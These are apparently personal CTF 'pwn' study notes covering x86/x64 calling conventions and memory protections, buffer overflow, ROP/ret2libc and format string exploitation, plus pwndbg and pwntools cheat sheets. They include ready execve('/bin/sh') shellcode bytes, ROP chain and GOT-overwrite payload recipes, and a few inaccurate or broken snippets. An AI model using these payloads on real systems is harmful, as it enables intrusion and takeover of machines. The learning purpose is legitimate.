π PWN STUDY NOTES
PWN 101
π§ Computer Architecture + Operating System
Registers
| Register | Description |
|---|---|
rax | Function return value β rax, eax, ax, ah, al (64/32/16/8/8 bits) |
rbx | Base register (no specific use in x64) |
rcx | Counter register for loops |
rdx | Data register |
rsi | Source index (source in data movement) |
rdi | Destination index (destination in data movement) |
rsp | Stack pointer |
rbp | Stack base pointer |
User-space function calls (System V i386 ABI)
- Arguments: pushed right β left onto the stack. At callee entry:
[esp+4]=arg1,[esp+8]=arg2, β¦ - Return:
eax(oredx:eax), FP inst(0) - Callee-saved:
ebx,esi,edi,ebp(andesp) - Caller-saved:
eax,ecx,edx - Stack alignment: ABI baseline 4 bytes; SIMD code may realign to 16 bytes in prologue.
Linux i386 syscall convention (int 0x80)
eax= syscall number.- Args 1β6:
ebx,ecx,edx,esi,edi,ebp - Return:
eax(β₯0 success; negative =-errno) - Other regs not guaranteed preserved.
Linux x86-64 syscall convention (syscall instruction)
raxβ syscall number.- Arguments (1β6):
rdi, rsi, rdx, r10, r8, r9 - Return value:
rax(β₯ 0 on success; negative value =-errno) - Other registers are preserved per usual rules (
rbx, rbp, r12βr15are callee-saved in user space).
π§± MEMORY STRUCTURE OF LINUX PROCESS
- Code Segment (.text): executable code (rβx)
- Data Segment: initialized global/static variables (rw-)
- BSS Segment: uninitialized global/static variables (rw-)
- Heap Segment: dynamic memory allocation (rw-)
- Stack Segment: local variables, return addresses (rw-)
- Extra Segment:
fsandgs(used by OS)
βοΈ ASSEMBLY BASICS
πΉ Opcodes
- Data Transfer:
mov,lea - Arithmetic:
inc,dec,add,sub - Logic:
and,or,xor,not - Comparison:
cmp,test - Branch:
jmp,je,jg - Stack:
push,pop - Procedure:
call,ret,leave - System call:
syscall
πΉ Memory Operands
QWORD PTR [addr]: 8 bytesDWORD PTR [addr]: 4 bytesWORD PTR [rax]: 2 bytesBYTE PTR [rax]: 1 byte
View more in:
π Bugs
π SHELLCODE
π Target
Call execve("/bin/sh", NULL, NULL) to get a shell or control flow of the program.
𧬠Syscall convention for execve(/bin/sh, 0, 0) (x86_64)
| Register | Role |
|---|---|
rax | Syscall number (0x3b for execve) |
rdi | arg0: filename (/bin/sh) |
rsi | arg1: argv (NULL) |
rdx | arg2: envp (NULL) |
π© Shellcode (x86_64)
mov rax, 0x68732f6e69622f ; "/bin/sh" in hex
push rax
mov rdi, rsp ; rdi = pointer to "/bin/sh"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = syscall number for execve
syscall
Little-endian bytes \x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05
π© Shellcode (x86)
xor eax, eax
xor ecx, ecx
xor edx, edx
add eax, 0x0b ; syscall number for execve
xor ebx, ebx
push ebx
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
int 0x80 ; syscall
Little-endian bytes \x31\xC0\x31\xC9\x31\xD2\x83\xC0\x0B\x31\xDB\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80
π₯ BUFFER OVERFLOW
π§΅ Input functions that can overflow
gets(buf) β do not use (removed in C11)
- No input length limit.
- Reads until
'\n', does not store the newline. - Always appends
'\0'. - Extremely unsafe β classic stack overflow.
scanf("%s", buf)
- No input length limit.
- Reads until
" ",\n,\t. - Behaves like
gets().
scanf("%[width]s", buf)
- Reads up to
widthcharacters. - If
width > sizeof(buf) - 1β may overflow. - Does not guarantee string null-termination (
\0).
fgets(buf, len, stream)
- Reads up to
len - 1characters, always appends\0. If input is longer, the excess remains instdin. - If input <
len, the remaining part is filled with\0. - If input =
len, the last byte is discarded and\0is added. - May lose data, e.g.: 30-byte buffer β can only store 29 characters if
len = 30. - If thereβs space, stores
"\n\0".
read(fd, buf, len)
- Reads up to
lenbytes intobuf. - Returns the number of bytes read (β₯ 0) or negative value on error.
- Does not guarantee null-termination (
\0). - Safe only if
lenis less than or equal to the sizeof(buf).
π Core Overflow types
- Stack Overflow: overwrite data on stack (return address, canary, β¦).
- Heap Overflow: overwrites adjacent heap chunks/objects or allocator metadata.
- Global/Static Overflow: overwrites global variables or static data (
.data/.bss). - Off-by-one: overwrite one byte beyond buffer boundary, often affecting adjacent data.
- Out-of-bounds: access memory outside the allocated buffer.
- Integer Overflow/Underflow: occurs when an arithmetic operation produces a value outside the representable range of the integer type.
π‘οΈ CANARY (Stack Smashing Protector)
π§ Purpose
- Prevents buffer overflow attacks by detecting overwrites of sensitive memory regions.
- If the canary is overwritten β program will Segmentation fault and terminate immediately.
π Structure
- Stored at:
[rbp - 0x8]. - Is a sequence of 8 random bytes, first byte is always
\x00.
π NX & ASLR
π« NX (No-eXecute)
- Prevents Shellcode: Blocks execution of code in memory regions not marked as executable.
π² ASLR (Address Space Layout Randomization)
- Goal: Randomly allocates addresses for stack, heap, shared libraries, β¦ each time the binary runs.
- Benefit: Makes it harder to guess addresses during exploitation.
π§ Hook Overwrite
- Idea: Bypass RELRO by overwriting function pointers (like
malloc(),free(),realloc()) with arbitrary addresses to execute malicious code.
π PIE & RELRO
π PIE (Position-Independent Executable)
- Goal: Execute binary with a changing load address (base address), making exploitation harder.
- Operation: Each run, the binary is loaded at a random address, making address guessing more complex.
π PIC (Position-Independent Code)
- Goal: Allows code to run correctly at any memory location.
- Features:
- Does not use absolute addresses.
- Relies on relative addresses (based on
RIPon x86_64) for address calculations.
- Benefit: Increases flexibility and safety when programs are loaded at different addresses.
π RELRO (RELocation Read-Only)
- Protection: Prevents overwriting the address table (GOT) to protect important functions from exploitation.
- Protection levels:
- No RELRO: GOT can be overwritten, easy to exploit.
- Partial RELRO: Some parts of GOT are made read-only after initialization.
- Full RELRO: Entire GOT is fully protected, very hard to exploit.
π R2L-ROP
π Basic concepts
- r2l (Return-to-libc): Uses
retto call existing libc functions, e.g.:system("/bin/sh"). - ROP (Return Oriented Programming): Uses chains of gadgets (instructions ending with
ret) to control program flow. - GOT (Global Offset Table): Table containing addresses of libc functions (e.g.:
puts). - PLT (Procedure Linkage Table): Used to call functions via GOT.
- Call a function: func_plt -> func_got -> func_libc
π§ Technical details
Padding Return Address:
- Return address is aligned to 16 bytes.
- I usually add a
retbefore gadgets likepop rdi; retto avoid errors due tomovaps.
Finding function addresses:
- Typically,
systemis calculated as:
system = libc_base + offset
(seereadelf -s libc.so.6 | grep "system"for exact offset)
- Typically,
Finding ROP Gadgets:
- Use:
1 2 3
ROP gadget --binary filename | grep "gadget_to_find" #search directly in process pop_rdi_ret = r.find_gadget(['pop rdi', 'ret'])[0] # Find registers ex: pop rdi ; ret
Example: find gadget
pop rdi; retto set argument forsystem.
Return tomainto continue exploitation (e.symbols['main'])
- Use:
π Example on x64
Leak libc address:
- Use functions like
putsto print the address stored in GOT. - Example: use gadget
pop rdi; retto put the address ofputs@gotinto rdi and then callputs(puts@got)(This will print the address ofputs=> Leak libc). - Calculation:
libc_base = leaked_address - puts_offset (libc.symbols['puts'])
- Use functions like
Find address of
systemand string/bin/sh:system = libc_base + system_offsetbinsh = libc_base + offset_of_bin_sh
Deploy ROP:
- Use gadget
pop rdi; retto set argument forsystem. - Example ROP:
1
p64(pop_rdi_ret) + p64(binsh) + p64(system)
- Use gadget
π Example on x86
Attack procedure on x86 may include:
- Send data into writable area such as
/bin/sh:read(0, writableArea, len("/bin/sh")) - Print address of read_got:
write(1, read_got, len(str(read_got))) - Read new address from read_got:
read(0, read_got, len(str(read_got))) - Call system with writableArea containing β/bin/shβ:
system(writableArea)
π OUT OF BOUNDS
Out of Bounds (OOB): Occurs when array index is negative or exceeds array length
=> Leak/overwrite memory.
Accessing array element:
1
&arr[k] = arr + sizeof(elem) * k
π FORMAT STRING VULNERABILITY (FSB)
How printf Works
printf("%s", input): Prints the string passed ininput.printf("%s"): If no argument, prints the value at the first address on the stack.
Parameter Specification with $
printf("%30$s"): Prints the value of the 30th argument on the stack.printf("%6$p"): Prints the address (in hex with0x) of the 6th argument on the stack.printf("%6$x"): Prints the hex value of the 6th argument on the stack, without0x.
Applications of Format String
- Information leak:
Use format specifiers like%p,%x,%d,%*nto leak values on the stack (addresses, numbers, β¦). - Read memory:
Use%sto print a string at the address referenced from the stack (e.g.: read flag). - Overwrite memory:
Use%n,%hn,%hhnto write the number of printed characters to a specific address, allowing modification of variables in memory.
Difference between 32-bit and 64-bit
- 32-bit: Arguments are usually printed directly from the stack.
- 64-bit:
- First 5 arguments are passed via registers:
rsi,rdx,rcx,r8,r9. - From the 6th argument onward, values are taken from the stack (e.g.:
rsp,rsp+0x8,rsp+0x10,rsp+0x18).
- First 5 arguments are passed via registers:
π Pwndbg
Pwndbg is an extension for GDB that provides many useful commands for analyzing and exploiting binaries.
Documentation pwndbg reference
π Some useful commands
checksec: show security features of the binary:- Canary: anti buffer overflow (often set at
[rbp-0x8]). - NX (Non-Executable): prevents execution of shellcode on the stack.
- PIE (Position Independent Executable): Binary is loaded at a random address.
- RELRO (RELocation Read-Only): Checks the protection feature of the address table (GOT). (anti GOT overwrite)
- Canary: anti buffer overflow (often set at
start: run the program and stop right at the beginning of themainfunction, helping you quickly start debugging.disass <func>(disassemble): disassemble the specified function.vmmap: show virtual memory map of the process, including regions: stack, heap, libraries, and other segments, also displays their permissions, size, offsets and file paths.run: execute the program from the beginning.b *<address>(break): set a breakpoint at a specific address.- Ex:
b *0x400123
- Ex:
del <breakpoint>(delete): delete the specified breakpoint.c(continue): continue executing the program until the next breakpoint or when the program stops.finish: continue executing until the current function ends.si(step into): execute the next instruction and step into any functions (if present).ni(next instruction): execute the next instruction but do not step into any functions.i(info): show information about the program state, for example:i r(info registers): Information about the registers.i b(info breakpoints): List of breakpoints.
k(kill): kill the debugging process.bt(backtrace): show the call stack at the time of stopping.x(examine): examine memory at a specific address.- Form:
x/<count><format> <address>
Format Size x(hexadecimal)b(Byte, 1 byte)o(octal)h(Halfword, 2 bytes)d(decimal)w(Word, 4 bytes)u(unsigned decimal)g(Giant, 8 bytes)s(string)Β t(binary)Β f(float)Β a(address)Β c(character)Β i(instruction)Β - Ex:
x/10wx 0x601000shows 10 words in hex format from address0x601000.
- Form:
tel(telescope): show memory around the current instruction pointer, recursively explores addresses referenced by the memory to display their values. Ex:tel 0x123456 5shows 5 lines of memory starting from address0x123456.tel $rspshows memory around the stack pointer.
context: show an overview of the current state of the process, including registers, stack, and disassembly around the current address.heap: show detailed information about the heap, assisting in the analysis of heap-related vulnerabilities.vis_heap_chunks: visualize heap chunks, showing their metadata and contents.search: search for a string or byte sequence in memory.- Ex:
search "flag"will find all locations containing the string"flag".
- Ex:
p &<variable>(print): print the address of a specific variable.- Ex:
p &0x601000will print the value at address0x601000.
- Ex:
pattern_createandpattern_offset- Useful for creating and analyzing pattern strings (cyclic patterns) to find offsets during exploitation:
pattern_create 100: Create a pattern with 100 bytes.pattern_offset <value>: Determine the position of the<value>in the pattern.
- Useful for creating and analyzing pattern strings (cyclic patterns) to find offsets during exploitation:
set detach-on-fork off: tells GDB to not detach from the other processes after program callsfork()/vfork(). Both parent and child processes will stay under GDB as separate inferiors.set follow-fork-mode child/parent: process that GDB will follow after a fork.info inferiors: list tracked processes.inferior <id>: switch to a specific inferior process.
π§° Pwntools
PwnTools is a powerful library that supports binary exploitation and automation. Here are some basic commands and techniques:
πΉ Process & Remote
1
2
3
4
5
6
7
8
9
10
from pwn import *
# Start a local process
p = process('./filename') # Local binary
# Connect to remote server
p = remote('address', port) # Remote server
# Attach gdb for debugging (with pwntools API)
gdb.attach(p, api=True, gdbscript='''pwndbg_script''')
πΉ ELF & Libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Load binary and libc
e = ELF('./filename')
libc = ELF('./libc.so.6')
# Get address from PLT (Procedure Linkage Table)
plt_addr = e.plt['funcname']
# Get address from GOT (Global Offset Table)
got_addr = e.got['funcname']
# Get offset of function in binary
func_offset = e.symbols['funcname']
# Get offset of function in libc (note: symbol name must be exact)
libc_func_offset = libc.symbols['funcname']
# Find location of "/bin/sh" string in libc
bin_sh = list(libc.search(b'/bin/sh'))[0]
πΉ Packing & Unpacking
1
2
3
4
5
6
7
# Convert number to little-endian byte string (64-bit and 32-bit)
packed_64 = p64(0xdeadbeef)
packed_32 = p32(0xdeadbeef)
# Unpack byte string to integer (64-bit and 32-bit)
number_64 = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')
number_32 = u32(b'\xef\xbe\xad\xde')
πΉ Sending and receiving data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Send data
p.send(b'A') # Send 1 byte 'A'
p.sendline(b'A') # Send 'A' + '\n'
# Send data after receiving prompt
p.sendafter(b'hello', b'A')
p.sendlineafter(b'hello', b'A')
#send and sendline
send: read
sendline: scanf, gets, fgets
# Receive data
data = p.recv(1024) # Receive up to 1024 bytes
line = p.recvline() # Receive until newline
exact = p.recvn(5) # Receive exactly 5 bytes
until = p.recvuntil(b'hello') # Receive until 'hello' is found
all_data = p.recvall() # Receive all data until process ends
πΉ Shellcode
1
2
3
4
5
6
7
8
9
# Shellcode
shellcode = asm(''''
;write your shellcode here
mov rax, 0x3b ; syscall number for execve
mov rdi, rsp ; rdi = pointer to "/bin/sh"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
syscall
''')
πΉ Otherwise, use pwntools built-in shellcode generation:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Spawn a shell (execve /bin/sh)
shellcode = shellcraft.sh()
# Generate shellcode to read and print 'flag.txt'
shellcode = shellcraft.readfile('flag.txt')
# Open, read and write
shellcode = shellcraft.open('flag.txt')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
#Finnally, assemble the shellcode
shellcode = asm(shellcode)
Visit here for more shellcode examples.
Remember to use context.arch = 'amd64' or 'i386' to set the architecture before generating shellcode.
πΉ Format string
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Write value to address using format string
fmtstr_payload(
offset,
writes,
numbwritten: int = 0,
write_size: str = 'byte',
write_size_max: str = 'long',
overflows: int = 16,
strategy: str = "small",
badbytes: frozenset = frozenset(),
offset_bytes: int = 0,
no_dollars: bool = False
)
#Ex: write one_gadget to read_got
offset = 5 # Check in gdb
where = read_got
what = one_gadget
payload = fmtstr_payload(offset, { where: what })
πΉ Print & Interactive
1
2
3
4
5
6
7
# Print info to console
log.info("Useful info" + info)
log.success("Success info" + info)
log.warning("Warning info" + info)
# Switch to interactive mode to interact directly with process
p.interactive()
Other commands can be found in the official documentation / cheat sheet.
π Pwninit
Pwninit is a tool for patching binaries with provided libc and loader.
Commands:
pwninit: auto patch filemv file_patch file: rename file
π οΈ Other useful tools
CyberChef : tool for analyzing and decoding data
LinuxSyscallReference : tool for looking up Linux syscalls and their parameters
Online Assembler/Disassembler : tool for assembling and disassembling x86/x64
Shell-storm : tool for converting.
Libc Database : tool for searching libc versions based on leaked addresses
π° Learning resources
Dream Hack: basic system hacking
Nightmare: resources + writeups
Naetw: pwn tips
Nobody: pwn writeups + interesting tricks
Azeria Labs: basic heap exploitation
Heap: heap exploitation techniques
Midas: linux kernel exploitation